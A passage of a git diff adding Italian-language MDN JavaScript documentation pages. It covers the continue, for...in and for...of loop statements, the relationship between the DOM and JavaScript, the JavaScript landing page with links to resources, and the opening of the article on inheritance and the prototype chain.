+<p>The {{jsxref("statements/continue","continue")}} statement can be used to restart a <code>while</code>, <code>do-while</code>, <code>for</code>, or <code>label</code> statement.</p>
+
+<ul>
+ <li>Quando usi <code>continue</code> senza un'etichetta, termina l'iterazione corrente dell'istruzione racchiudente, mentre <code>while</code>, <code>do-while</code>, o <code>for</code> continua l'esecuzione del ciclo con l'iterazione successiva. In contrasto con l'istruzione <code>break</code>, <code>continue</code> non termina interamente l'esecuzione del ciclo. In un ciclo <code>while</code>, torna alla condizione. In un ciclo <code>for</code>, salta all'espressione di incremento <code>increment-expression</code>.</li>
+ <li>Quando si utilizza <code>continue</code> con un'etichetta, si applica all'istruzione looping identificata con tale etichetta.</li>
+</ul>
+
+<p>La sintassi dell'istruzione <code>continue</code> ha il seguente aspetto:</p>
+
+<pre class="syntaxbox notranslate"><code>continue</code> [<em>label</em>];
+</pre>
+
+<h3 id="Esempio_1_3"><strong>Esempio 1</strong></h3>
+
+<p>L'esempio seguente mostra un ciclo <code>while</code> con un'istruzione <code>continue</code> che viene eseguita quando il valore di <code>i</code> è tre. Quindi, <code>n</code> assume i valori uno, tre, sette e dodici.</p>
+
+<pre class="brush: js notranslate">var i = 0;
+var n = 0;
+while (i &lt; 5) {
+  i++;
+  if (i == 3) {
+    continue;
+  }
+  n += i;
+}</pre>
+
+<h3 id="Esempio_2_3"><strong>Esempio 2</strong></h3>
+
+<p>Una dichiarazione etichettata <em><code>checkiandj</code> </em>contiene una dichiarazione etichettata <em><code>checkj</code></em>. Se si incontra <code>continue</code> il programma termina l'iterazione corrente di <em><code>checkj</code></em> e inizia la successiva iterazione. Ogni volta che si incontra <code>continue</code>, <em><code>checkj</code></em> viene reiterato finché la condizione non restituisce <code>false</code>. Quando viene restituito <code>false</code>, il resto dell'istruzione <em><code>checkiandj</code></em> è completato e <em><code>checkiandj</code></em> reiterate fino a quando la condizione non restituisce <code>false</code>. Quando viene restituito <code>false</code>, il programma continua con la seguente istruzione <em><code>checkiandj</code></em>.</p>
+
+<p>Se <code>continue</code> ha un'etichetta di <em><code>checkiandj</code></em>, il programma continuerà nella parte superiore del <em><code>checkiandj</code></em> istruzione.</p>
+
+<pre class="brush: js notranslate">var i = 0;
+var j = 10;
+checkiandj:
+  while (i &lt; 4) {
+    console.log(i);
+    i += 1;
+    checkj:
+      while (j &gt; 4) {
+        console.log(j);
+        j -= 1;
+        if ((j % 2) == 0) {
+          continue checkj;
+        }
+        console.log(j + ' is odd.');
+      }
+      console.log('i = ' + i);
+      console.log('j = ' + j);
+}</pre>
+
+<h2 id="Istruzione_for...in">Istruzione <code>for...in</code></h2>
+
+<p>L'istruzione {{jsxref("statements/for...in","for...in")}} itera una variabile specificata su tutte le proprietà enumerabili di un oggetto. Per ogni proprietà distinta, JavaScript esegue le istruzioni specificate. L'istruzione <code>for...in</code> ha il seguente aspetto:</p>
+
+<pre class="syntaxbox notranslate">for (variabile in oggetto) {
+  istruzione
+}
+// for (variable in object) {
+//  statements
+// }
+</pre>
+
+<h3 id="Esempio_4"><strong>Esempio</strong></h3>
+
+<p>La seguente funzione prende come argomento un oggetto e il nome dell'oggetto. Quindi itera su tutte le proprietà dell'oggetto e restituisce una stringa che elenca i nomi delle proprietà e i loro valori.</p>
+
+<pre class="brush: js notranslate">function dump_props(obj, obj_name) {
+  var result = "";
+  for (var i in obj) {
+    result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+  }
+  result += "&lt;hr&gt;";
+  return result;
+}
+</pre>
+
+<p>Per un oggetto <code>car</code> con proprietà <code>make</code> e <code>model</code>, <code>result</code> sarebbe:</p>
+
+<pre class="brush: js notranslate">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="Arrays_Matrici"><strong>Arrays / Matrici</strong></h3>
+
+<p>Anche se può essere allettante usarla come un modo per iterare sugli elementi {{jsxref("Array")}} , l'istruzione the <strong>for...in</strong> restituirà il nome delle proprietà definite dall'utente oltre agli indici numerici. Quindi è meglio usare un ciclo tradizionale {{jsxref("statements/for","for")}} con un indice numerico quando si itera su array, perché l'istruzione <strong>for...in</strong> itera sulle proprietà definite dall'utente oltre agli elementi dell'array, se si modifica l'oggetto Array, (come ad esempio l'aggiunta di proprietà o metodi personalizzati).</p>
+
+<h2 id="Istruzione_for...of">Istruzione <code>for...of</code></h2>
+
+<p>L'istruzione {{jsxref("statements/for...of","for...of")}} crea un ciclo che itera su <a href="/en-US/docs/Web/JavaScript/Guide/iterable">oggetti iterabili</a> (inclusi oggetti di tipo {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("functions/arguments","arguments")}} e così via), richiamando un aggancio di iterazione personalizzato con istruzioni da eseguire per il valore di ogni proprietà distinta.</p>
+
+<pre class="syntaxbox notranslate">for (<em>variabile</em> di <em>oggetto</em>) {
+  <em>istruzione
+</em>}</pre>
+
+<p>Il seguente esempio mostra la differenza tra un ciclo <code>for...of</code> e un {{jsxref("statements/for...in","for...in")}} ciclo continuo. Mentre <code>for...in</code> itera sopra i nomi delle proprietà, <code>for...of</code> itera sui valori delle proprietà:</p>
+
+<pre class="brush:js notranslate">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+   console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // logs "3", "5", "7"
+}</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/it/web/javascript/il_dom_e_javascript/index.html b/files/it/web/javascript/il_dom_e_javascript/index.html
new file mode 100644
index 0000000000..9f2b0fbb56
--- /dev/null
+++ b/files/it/web/javascript/il_dom_e_javascript/index.html
@@ -0,0 +1,81 @@
+---
+title: Il DOM e JavaScript
+slug: Web/JavaScript/Il_DOM_e_JavaScript
+tags:
+  - DOM
+  - JavaScript
+  - Tutte_le_categorie
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<h3 id="Il_Grande_Disegno" name="Il_Grande_Disegno">Il Grande Disegno</h3>
+
+<p>Gli effetti visivi come muovere i layer sulla pagina, mostrare e nascondere layer, far comparire menu, eccetera, sono spesso indicati come "<a href="it/DHTML">DHTML</a>", o "Dynamic HTML". Alcuni hanno dubbi sull'effettiva utilità di queste tecnologie in pagine web che dovrebbero trasmettere del contenuto e non la presentazione, ma dobbiamo comunque prendere atto della loro larga diffusione.</p>
+
+<p>Molti web master si limitano ad andare sui siti che offrono script DHTML e ricopiare il codice nelle loro pagine, senza interessarsi a come funzionano quegli script DHTML. Sfortunatamente la maggior parte di questi siti parlano di "javascript" e "DHTML", ma mai di DOM, il quale, sebbene sia un concetto introdotto da parecchio, solo di recente sta entrando nel gergo del web designer medio.</p>
+
+<p>E' una grande sfida per un progetto come Mozilla convincere i possessori di questi siti che ***it is worth coding for the W3C DOM, which sometimes means a lot of work, and drops support for the older browsers. It is also a big challenge to get the facts straight concerning the support for the W3C DOM. *** Uno dei più grandi problemi che incontrano alcuni web developer è la confusione tra <a href="it/JavaScript">JavaScript</a>, <a href="it/DHTML">DHTML</a> e il <a href="it/DOM">DOM</a>. In questo articolo tenteremo di chiarire le cose, e di spiegare le relazioni fra queste utili ed elaborate tecnologie.</p>
+
+<h3 id="JavaScript.2C_IL_Linguaggio_di_Web_Scripting" name="JavaScript.2C_IL_Linguaggio_di_Web_Scripting">JavaScript, IL Linguaggio di Web Scripting</h3>
+
+<p><a href="it/JavaScript">JavaScript</a> è un "linguaggio di scripting di oggetti" sviluppato inizialmente alla Netscape Communications Corp. da Brendan Eich, che oggi è uno dei leader del progetto Mozilla. Il motore JavaScript usato da Mozilla si chiama <a href="it/SpiderMonkey">SpiderMonkey</a>, e aderisce alla specifica ECMA-262 3°revisione(di cui è un superset; guarda anche la pagina <a href="it/ECMAScript">ECMAScript</a>).</p>
+
+<p>Contrariamente a diffuse errate credenze, JavaScript non è "Java Interpretato". Possiamo dire che JavaScript è un linguaggio di scripting dinamico che supporta la costruzione di oggetti basata su prototipi. La sintassi di base è volutamente simile sia a Java che a C++ per ridurre il numero di nuovi concetti richiesti per imparare il linguaggio. Il grande vantaggio di JavaScript è che è estremamente facile da imparare se vuoi fare programmazione di base (come quella richiesta per semplici DHTML). Niente tipi di variabili a vista, stringhe semplici da usare, neutralità totale della piattaforma,ecc. Per i programmatori avanzati può essere usato sia come linguaggio orientato agli oggetti che come linguaggio procedurale.</p>
+
+<p>Gran parte di questo paragrafo su JavaScript è stato preso dalla <a class="external" href="http://mozilla.org/js">pagina JavaScript di Mozilla</a>. Puoi anche consultare <a class="external" href="http://www.mozilla.org/js/language/">la più recente specifica ECMA</a>.</p>
+
+<h3 id="Il_Modello_a_Oggetti_del_Documento.2C_un_insieme_di_interfacce_indipendenti_dal_linguaggio" name="Il_Modello_a_Oggetti_del_Documento.2C_un_insieme_di_interfacce_indipendenti_dal_linguaggio">Il Modello a Oggetti del Documento, un insieme di interfacce indipendenti dal linguaggio</h3>
+
+<p>Mentre Javascript è il linguaggio di programmazione che ti permette di operare sugli oggetti DOM, il DOM ti fornisce metodi e proprietà per recuperare, modificare, aggiornare ed eliminare parti del documento su cui stai lavorando. Per esempio, potresti recuperare il valore di un campo di testo e metterlo in una variabile stringa con il DOM; a questo punto puoi usare l'operatore Javascript di concatenazione <code>+</code> , per unire quella stringa ad un'altra, in base a ciò che vuoi ottenere. Potresti quindi usare il metodo <code><a href="it/DOM/window/alert">alert()</a></code> per mostrare la stringa all'utente attraverso una finestra di dialogo. Guarda anche gli altri esempi più sotto.</p>
+
+<p>In che senso "indipendente dal linguaggio"? Non è javascript l'unico modo per accedere al DOM? No, ad esempio Mozilla usa il DOM sia col C++ che col Javascript per la sua interfaccia utente. Questi sono alcuni dei linguaggi che hanno un'implementazione del DOM: <a class="external" href="http://users.erols.com/enno/index.html">Perl</a>, <a class="external" href="http://www.docuverse.com/domsdk/index.html">Java</a>, <a class="external" href="http://www.vivid-creations.com/dom/index.htm">ActiveX</a>, <a class="external" href="http://fourthought.com/4Suite/4DOM">Python</a>; ciò è possibile grazie all'indipendenza del DOM dal linguaggio di programmazione.</p>
+
+<h3 id="Il_DOM_e_Javascript_-_Chi_sta_facendo_cosa.3F" name="Il_DOM_e_Javascript_-_Chi_sta_facendo_cosa.3F">Il DOM e Javascript - Chi sta facendo cosa?</h3>
+
+<p>Arriviamo al punto principale di questo documento: chi sta facendo cosa? In uno script che ho inserito nella mia pagina, dov'è il DOM, e dov'è Javascript? Guardiamo da vicino un piccolo esempio: il codice prende tutti i tag <span class="nowiki">&lt;a&gt;</span> della pagina e li mette in una NodeList che abbiamo chiamato "<code>anchorTags</code>". Quindi per ogni tag ancora facciamo comparire un avviso contenente il valore dell'attributo href del tag. In blu c'è Javascript, in rosso il DOM.</p>
+
+<pre class="eval"><span class="highlightblue">var anchorTags = <span class="highlightred">document.getElementsByTagName("a")</span>;
+for (var i = 0; i &lt; <span class="highlightred">anchorTags.length</span> ; i++)
+{
+   <span class="highlightred">alert</span>("Href of " + i + "-th element is : " + <span class="highlightred">anchorTags[i].href</span> + "\n");
+}</span>
+</pre>
+
+<h4 id="Spiegazione" name="Spiegazione">Spiegazione</h4>
+
+<p>Questo frammento di codice mostra cos'è Javascript, e cos'è DOM..</p>
+
+<dl>
+ <dt><span class="highlightblue">var anchorTags =</span></dt>
+ <dd>Crea una variabile chiamata "<code>anchorTags</code>".</dd>
+ <dt><span class="highlightred">document.getElementsByTagName("a")</span></dt>
+ <dd>L'interfaccia <code>Document</code> è la prima interfaccia definita nel DOM1 Core, e <code>document</code> è l'oggetto che implementa l'interfaccia <code>Document</code>. L'oggetto document contiene tutto ciò che c'è nella pagina.<br>
+ Il DOM1 Core definisce il metodo <code>getElementsByTagName()</code> Nell'interfaccia <code>Document</code>. Questo metodo mette in una NodeList(una sorta di array specifico per contenere i nodi del DOM)tutti i tag il cui nome corrisponde al parametro passato alla funzione, in ordine di apparizione nel codice sorgente del documento. La variabile <code>anchorTags</code> è quindi ora una NodeList.</dd>
+ <dt><span class="highlightblue">;</span></dt>
+ <dd>Il punto e virgola che chiude le istruzioni. Roba di Javascript.</dd>
+ <dt><span class="highlightblue">for (var i = 0; i &lt;</span></dt>
+ <dd>Tipico ciclo "for" in un linguaggio di programmazione. Ci consente di scorrere tutti i nodi contenuto nella NodeList salvata in <code>anchorTags</code>. "<code>i</code>" è una variabile temporanea di Javascript.</dd>
+ <dt><span class="highlightred">anchorTags.length</span></dt>
+ <dd>Nel DOM1 Core è definita la proprietà <code>length</code> dell'interfaccia <code>NodeList</code>. Restituisce un intero che è il numero di nodi contenuti nella NodeList.</dd>
+ <dt><span class="highlightblue">; i++) {</span></dt>
+ <dd>Tipica istruzione per incrementare di 1 una variabile. Javascript.</dd>
+ <dt><span class="highlightred">alert(</span></dt>
+ <dd><code>alert()</code> è un metodo del DOM che apre una finestrella in mezzo allo schermo con dentro la stringa che gli hai passato. Nota: questo metodo fa parte di ciò che viene chiamato DOM level 0, o DOM0; è un insieme di interfacce che non fanno parte di nessuna specifica DOM, ma sono comunque implementate da alcuni browser.</dd>
+ <dt><span class="highlightblue">"Href of this a element is : " +</span></dt>
+ <dd>Una stringa letterale e un operatore di concatenazione di stringhe. JavaScript.</dd>
+ <dt><span class="highlightred">anchorTags{{ mediawiki.external('i') }}.href</span></dt>
+ <dd>"<code>href</code>" è una proprietà definita dall'intefaccia <code>HTMLAnchorElement</code> della specifica DOM1 HTML. Restituisce il valore dell'attributo <code>href</code> dell'elemento ancora, se presente.<br>
+ Usiamo anche <code>anchorTags{{ mediawiki.external('i') }}</code>, la stessa sintassi usata in Javascript per accedere all'i-esimo elemento di un array. Un modo più "linguaggio-indipendente" per accedere a un elemento di una NodeList è l'uso del metodo <code>item()</code>, definito nella interfaccia <code>NodeList</code>: <code>anchorTags.item(1).href</code>, ma la maggior parte delle implementazioni Javascript permettono di usare la più sbrigativa sintassi per array, che è ciò che la maggior parte dei programmatori usano.</dd>
+ <dt><span class="highlightblue">+ "\n");</span></dt>
+ <dd>Un'altra concatenazione di stringhe. Inserisce un ritorno del carrello alla fine della stringa.</dd>
+ <dt><span class="highlightblue">}</span></dt>
+ <dd>Fine del ciclo "for".</dd>
+</dl>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): Fabian Guisset &lt;fguisset at softhome dot net&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
diff --git a/files/it/web/javascript/index.html b/files/it/web/javascript/index.html
new file mode 100644
index 0000000000..39d9432d38
--- /dev/null
+++ b/files/it/web/javascript/index.html
@@ -0,0 +1,116 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - JavaScript
+translation_of: Web/JavaScript
+---
+<div class="callout-box"><strong><a href="/docs/JavaScript/A_re-introduction_to_JavaScript" title="./A re-introduction to JavaScript">Una re-introduzione a JavaScript</a></strong><br>
+Una panoramica per chi <em>pensa </em>di conoscere JavaScript</div>
+
+<div>
+<p>{{JsSidebar}}</p>
+
+<p><strong>JavaScript</strong> (spesso abbreviato in <strong>JS</strong>) è un linguaggio leggero, interpretato, funzionale e orientato agli oggetti, conosciuto per lo più come linguaggio di script per pagine web, ma <a class="external" href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages" title="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">utilizzato in molti ambienti non-browser</a> così come <a class="external" href="http://nodejs.org/">node.js</a> o <a href="http://couchdb.apache.org" title="http://couchdb.apache.org">Apache CouchDB</a>.</p>
+
+<p>Lo standard JavaScript è <a href="/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. A partire dal 2012, tutti i moderni browser supportano ECMAScript 5.1. I browser più vecchi supportano almeno ECMAScript 3. Il 17 Giugno, 2015, <a href="https://www.ecma-international.org/">Ecma International</a> ha pubblicato il 6° grande aggiornamento di ECMAScript, che è chiamato ufficialmente ECMAScript 2015; ci si riferiva inizialmente ad esso come ECMAScript 6 o ES6. Da allora, gli standard ECMAScript hanno dei cicli di rilascio annuali. Questa documentazione si riferisce all'ultima stesura del linguaggio <a href="https://tc39.github.io/ecma262/">ECMAScript 2020</a>. Lo stato di avanzamento delle nuove caratteristiche può essere seguito sul <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proposals">wiki dedicato</a>.</p>
+
+<p>Questa sezione del sito è dedicata al solo linguaggio JavaScript, ossia a quelle parti non specifiche per pagine Web o ad altri ambienti ospite. Per informazioni sulle API specifiche alle pagine Web, vedere <a href="/docs/DOM" title="DOM">DOM</a>. Nel <a href="/docs/Gecko_DOM_Reference/Introduction#DOM_and_JavaScript" title="Gecko DOM Reference/Introduction#DOM and JavaScript">DOM Reference</a> puoi approfondire come il DOM e JavaScript si compenetrino.</p>
+
+<p>Non confondere JavaScript con il <a href="https://it.wikipedia.org/wiki/Java_(linguaggio_di_programmazione)">linguaggio di programmazione Java</a>. Sia "Java" che "JavaScript" sono marchi commerciali o marchi registrati di Oracle negli USA e in altri paesi. Comunque, i due linguaggi di programmazione hanno sintassi, semantica ed usi differenti.</p>
+
+<table class="topicpage-table" style="height: 1910px; width: 531px;">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentazione">Documentazione</h2>
+
+    <dl>
+     <dt><a href="/docs/JavaScript/Reference" title="JavaScript/Reference">Riferimento a JavaScript </a></dt>
+     <dd>E' la guida di riferimento a JavaScript, comprendente la documentazione completa a JavaScript 1.5 e relativi aggiornamenti.</dd>
+     <dt><a href="/docs/JavaScript/Guide" title="JavaScript/Guide">Guida a JavaScript</a></dt>
+     <dd>La nostra principale guida al come programmare con JavaScript.</dd>
+    </dl>
+
+    <h3 id="Articoli_introduttivi">Articoli introduttivi</h3>
+
+    <dl>
+     <dt><a href="/docs/JavaScript_technologies_overview" title="./Guide">Panoramica delle tecnologie JavaScript</a></dt>
+     <dd>Introduzione al panorama JavaScript nei web browser</dd>
+     <dt><a href="/docs/JavaScript/Data_structures" title="Data structures">Strutture dati di JavaScript</a></dt>
+     <dd>Panoramica delle strutture dati disponibili in JavaScript</dd>
+     <dt><a href="/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="JavaScript/Guide/Inheritance_and_the_prototype_chain">Ereditarietà e catena dei prototipi</a></dt>
+     <dd>Spiegazione dell'ampiamente fraintesa e sottovalutata ereditarietà basata sui prototipi</dd>
+    </dl>
+
+    <h3 id="Altri_articoli">Altri articoli</h3>
+
+    <dl>
+     <dt><a href="/docs/Canvas_tutorial" title="Canvas_tutorial">Esercitazione sui Canvas</a></dt>
+     <dd>&lt;canvas&gt; è l'elemento di HTML5 che può essere utilizzato per disegni grafici utilizzando gli script. Può per esempio essere utilizzato per disegnare grafici, comporre foto o realizzare semplici (o non così semplici) animazioni.</dd>
+     <dt><a href="/docs/JavaScript/Language_Resources" title="Language Resources">Risorse del Linguaggio JavaScript </a></dt>
+     <dd>Una descrizione degli standard del linguaggio JavaScript.</dd>
+     <dt><a class="external" href="http://msdn.microsoft.com/en-us/library/ff405926.aspx" title="http://msdn.microsoft.com/en-us/library/ff405926.aspx">Documenti di Supporto agli Standard di Internet Explorer</a></dt>
+     <dd>Microsoft pubblica dei documenti che descrivono "variazioni, chiarimenti ed estensioni a standard web definitivamente approvati supportati da Internet Explorer." Di questi, quelli relativi a JavaScript sono:
+     <ul>
+      <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff520996.aspx" title="http://msdn.microsoft.com/en-us/library/ff520996.aspx">[MS-ES3]: Internet Explorer ECMA-262 ECMAScript Language Specification Standards Support Document </a></li>
+      <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff521046.aspx" title="http://msdn.microsoft.com/en-us/library/ff521046.aspx">[MS-ES3EX]: Microsoft JScript Extensions to the ECMAScript Language Specification Third Edition </a></li>
+      <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff960769.aspx" title="http://msdn.microsoft.com/en-us/library/ff960769.aspx">[MS-ES5]: Internet Explorer ECMA-262 ECMAScript Language Specification (Fifth Edition) Standards Support Document </a></li>
+      <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ff955363.aspx" title="http://msdn.microsoft.com/en-us/library/ff955363.aspx">[MS-ES5EX]: Internet Explorer Extensions to the ECMA-262 ECMAScript Language Specification (Fifth Edition)</a></li>
+     </ul>
+     </dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/docs/tag/JavaScript" title="/en-US/tag/JavaScript">Vedi Tutto...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Tools" id="Strumenti_e_Risorse_avanzate">Strumenti e Risorse avanzate</h2>
+
+    <ul>
+     <li><a href="http://www.codecademy.com/" title="http://www.codecademy.com/">Codecademy</a> - Corso JavaScript gratuito con esercizi interattivi</li>
+     <li><a href="http://codeschool.com" title="http://codeschool.com">Code School </a>- Imparare Facendo, Diversi corsi JS</li>
+     <li><a class="link-https" href="https://github.com/rwldrn/idiomatic.js">Idiomatic.js</a> - Principi di Scrittura Consistente, Idioma JavaScript</li>
+     <li><a href="/docs/JavaScript/Memory_Management" title="Memory Management">Memory Management in JavaScript</a> . Panoramica sul come lavora il gestore della memoria in JavaScript</li>
+     <li><a class="external" href="http://www.getfirebug.com/">Firebug</a> - Profilazione e Debug di JavaScript</li>
+     <li><a href="/docs/Venkman" title="Venkman">Venkman</a> - Debug JavaScript</li>
+     <li><a href="/docs/JavaScript/Shells" title="./Shells">JavaScript Shells</a> - frammenti di codice d'esempio</li>
+     <li><a class="external" href="http://www.jslint.com/lint.html">JSLint</a> - contrllore di sintassi, avvisi contro cattive pratiche</li>
+     <li><a class="external" href="http://jshint.com" title="http://jshint.com/">JSHint</a> - controllore di sintassi realizzato dalla comunità</li>
+     <li><a class="external" href="http://code.google.com/p/jsdoc-toolkit/" title="http://code.google.com/p/jsdoc-toolkit/">JSDoc</a> - generatore di documentazione dal codice</li>
+     <li><a class="external" href="http://www.aptana.com" title="http://www.aptana.com">Aptana Studio</a> - IDE Open source con supporto Ajax and JavaScript (basato su eclipse)</li>
+     <li><a class="external" href="http://netbeans.org/features/javascript/">Netbeans</a> - IDE Open source che comprende un sofisticato supporto JavaScript</li>
+     <li><a class="external" href="http://www.eclipse.org/downloads/packages/eclipse-ide-javascript-web-developers/heliossr1">Eclipse</a> - IDE Open source che include strumenti di sviluppo JavaScript</li>
+     <li><a class="external" href="http://www.c9.io" title="http://www.c9.io">Cloud9 IDE</a> - IDE Open source eseguito nel browser con supporto JavaScript e Node.js</li>
+     <li><a class="external" href="http://prettydiff.com/" title="http://prettydiff.com/">Pretty Diff </a>- Strumento per il controllo del codice minimizzato con quello regolare</li>
+     <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434">Extension Developer's Extension</a> - Offre Ambente e Shell JS</li>
+     <li><a href="http://boilerplatejs.org/" title="http://boilerplatejs.org/">BoilerplateJS</a> - Architettura di riferimento per progetti JavaScript di larga scala</li>
+     <li><a href="/docs/JavaScript/Other_JavaScript_tools" title="./Other JavaScript tools">Other JavaScript tools</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a href="/docs/tag/JavaScript:Tools" title="/en-US/docs/tag/JavaScript:Tools">Vedi Tutto...</a></span></p>
+
+    <h2 class="Community" id="Other_resources" name="Other resources">Altre risorse</h2>
+
+    <dl>
+     <dt><a class="external" href="http://bonsaiden.github.com/JavaScript-Garden" title="http://bonsaiden.github.com/JavaScript-Garden">JavaScript Garden</a></dt>
+     <dd>Un sito con utili informazioni sulle parti più esoteriche di JavaScript.</dd>
+     <dt><a class="link-https" href="https://github.com/bebraw/jswiki/wiki" title="https://github.com/bebraw/jswiki/wiki">JSWiki</a></dt>
+     <dd>Un wiki basato su Github che indicizza librerie e risorse</dd>
+     <dt><a href="http://stackoverflow.com/questions/tagged/javascript" title="http://stackoverflow.com/questions/tagged/css">Stack Overflow</a></dt>
+     <dd>Un sito collaborativo di Q&amp;A in cui puoi trovare risposte alle tue domande o porne se non ne trovi.</dd>
+     <dt><a href="http://pineapple.io/resources/tagged/javascript?type=tutorials&amp;sort=all_time" title="http://pineapple.io/resources/tagged/javascript?type=tutorials&amp;sort=all_time">Pineapple · JavaScript</a></dt>
+     <dd>Un ampio database di risorse ed esercitazioni JavaScript.</dd>
+    </dl>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+
+    <ul>
+     <li><a href="/docs/AJAX" title="AJAX">AJAX</a>, <a href="/docs/DOM" title="DOM">DOM</a>, <a class="internal" href="/docs/JavaScript/Server-Side_JavaScript" title="./Server-Side JavaScript">Server-Side JavaScript</a>, <a href="/docs/DHTML" title="DHTML">DHTML</a>, <a href="/docs/E4X" title="E4X">E4X</a>, <a href="/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a>, <a href="/docs/HTML/Canvas" title="HTML/Canvas">Canvas</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>JavaScript è un marchio commerciale o marchio commerciale registrato della Oracle negli U.S. e in altri paesi.</p>
+</div>
diff --git a/files/it/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/it/web/javascript/inheritance_and_the_prototype_chain/index.html
new file mode 100644
index 0000000000..40e3f31a60
--- /dev/null
+++ b/files/it/web/javascript/inheritance_and_the_prototype_chain/index.html
@@ -0,0 +1,556 @@
+---
+title: Ereditarietà e catena dei prototype
+slug: Web/JavaScript/Inheritance_and_the_prototype_chain
+tags:
+  - Intermedio
+  - JavaScript
+  - OOP
+  - ereditarietà
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<div>{{jsSidebar("Advanced")}}</div>
+
+<p>JavaScript confonde un po' gli sviluppatori che hanno esperienza di linguaggi basati sulle classi (come Java o C++), siccome è un linguaggio dinamico e non fornisce un'implementazione di <code>class</code> (la keyword <code>class</code> è introdotto in ES2015, ma è zucchero sintattico, Javascript rimarrà basato sui prototipi).</p>
+
+<p>In termini di ereditarietà, Javascript ha solo un costrutto: gli oggetti. Ogni oggetto ha un link interno ad un altro oggetto chiamato <strong>prototype.</strong> Questo oggetto prototype ha a sua volta un suo prototype, e così via finché si raggiunge un oggetto con property <code>null</code>. <code>null</code>, per definizione, non ha un prototype, ed agisce come link finale nella <strong>catena di prototipi</strong>.</p>
+
+<p>Quasi tutti gli oggetti in Javascript sono istanze di {{jsxref("Object")}}, che risiede in cima alla catena dei prototipi.</p>
+
+<p>Nonostante questo sia considerato spesso come una debolezza di Javascript, il modello di ereditarietà prototipale è invece più potente del modello classico. Per esempio, è banale costruire un classico modello sul modello prototipale, mentre il contrario è molto più difficile.</p>
+
+<h2 id="Ereditarietà_con_la_catena_di_prototipi">Ereditarietà con la catena di prototipi</h2>
+
+<h3 id="Ereditare_properties">Ereditare properties</h3>
+
+<p>Gli oggetti javaScript sono "contenitori" dinamici di proprietà (<strong>own properties</strong>). Gli oggetti JavaScript hanno un link ad un oggetto prototype. Provando ad accedere ad una proprietà di un oggetto, la proprietà sarà ricercata sia sull'oggetto, sia sul prototipo, sul prototipo del prototipo e così via fino a trovare una proprietà con il nome specificato fino alla fine della catena stessa.</p>
+
+<div class="note">
+<p>Seguendo lo standard ECMAScript, la notazione <code>someObject.[[Prototype]]</code> viene usata per designare il prototype di <code>someObject</code>. Dall'introduzione di ECMAScript 2015, per accedere a <code>[[Protoype]]</code> si utilizzano i metodi {{jsxref("Object.getPrototypeOf()")}} e {{jsxref("Object.setPrototypeOf()")}}. Questo è equivalente ad utilizzare la property <code>__proto__</code>, proprietà non-standard di JavaScript ma di fatto implementata da svaritati browser.</p>
+
+<p>Non dev'essere confusa con la proprietà delle funzioni <code><em>func</em>.prototype</code>, la quale invece specifica il [[Prototype]] da assegnare a tutte le <em>istanze</em> di oggetti creati dalla funzione data quando si usa un costruttore. La proprietà <strong>Object.prototype </strong> rappresenta il prototipo oggetto  {{jsxref("Object")}} .</p>
+</div>
+
+<p>Di seguito viene mostrato cosa succede quando si tenta l'accesso ad una proprietà:</p>
+
+<pre class="brush: js">//Creiamo un oggetto o dalla funzione f con le sue properties a e b;
+let f = function() {
+   this.a = 1;
+   this.b = 2;
+}
+let o = new f(); //{a: 1, b: 2}
+//Aggiungiamo delle properties nel prototype di f
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+//non aggiungere le properties a f mediante f.prototype = {b:3,c:4}; questo romperebbe la prototype chain
+// o.[[Prototype]] ha le properties b and c:
+// {b: 3, c: 4}
+// o.[[Prototype]].[[Prototype]] è Object.prototype.
+// Infine, o.[[Prototype]].[[Prototype]].[[Prototype]] é null.
+// Questa è la fine della catena di prototipi poiché null, per defini// zione, non ha [[Prototype]].
+// Così, l'intera catena di prototipi sarà:
+// {a:1, b:2} ---&gt; {b:3, c:4} ---&gt; Object.prototype ---&gt; null
+
+console.log(o.a); // 1
+// C'è una property 'a' su o? Si, e il suo valore è 1.
+
+console.log(o.b); // 2
+// C'è una property 'b' su o? Si, e il suo valore è 2.
+// Il prototype ha anche una property 'b', ma non è visitata.
+// Questa è chiamata "Property Shadowing"
+
+console.log(o.c); // 4
+// C'è una propria property 'c' su o? No, verifica il suo prototype.
+// C'è una propria property 'c' su o.[[Prototype]]? si, il suo valore// è 4.
+
+console.log(o.d); // undefined
+// C'è una propria property 'd' su o? No, verifica il suo prototype.
+// C'è una propria property 'd' su o.[[Prototype]]? No, verifica il suo prototype.
+// o.[[Prototype]].[[Prototype]] è Object.prototype e non è presente nessuna property 'd' di default, verifica il suo prototype.
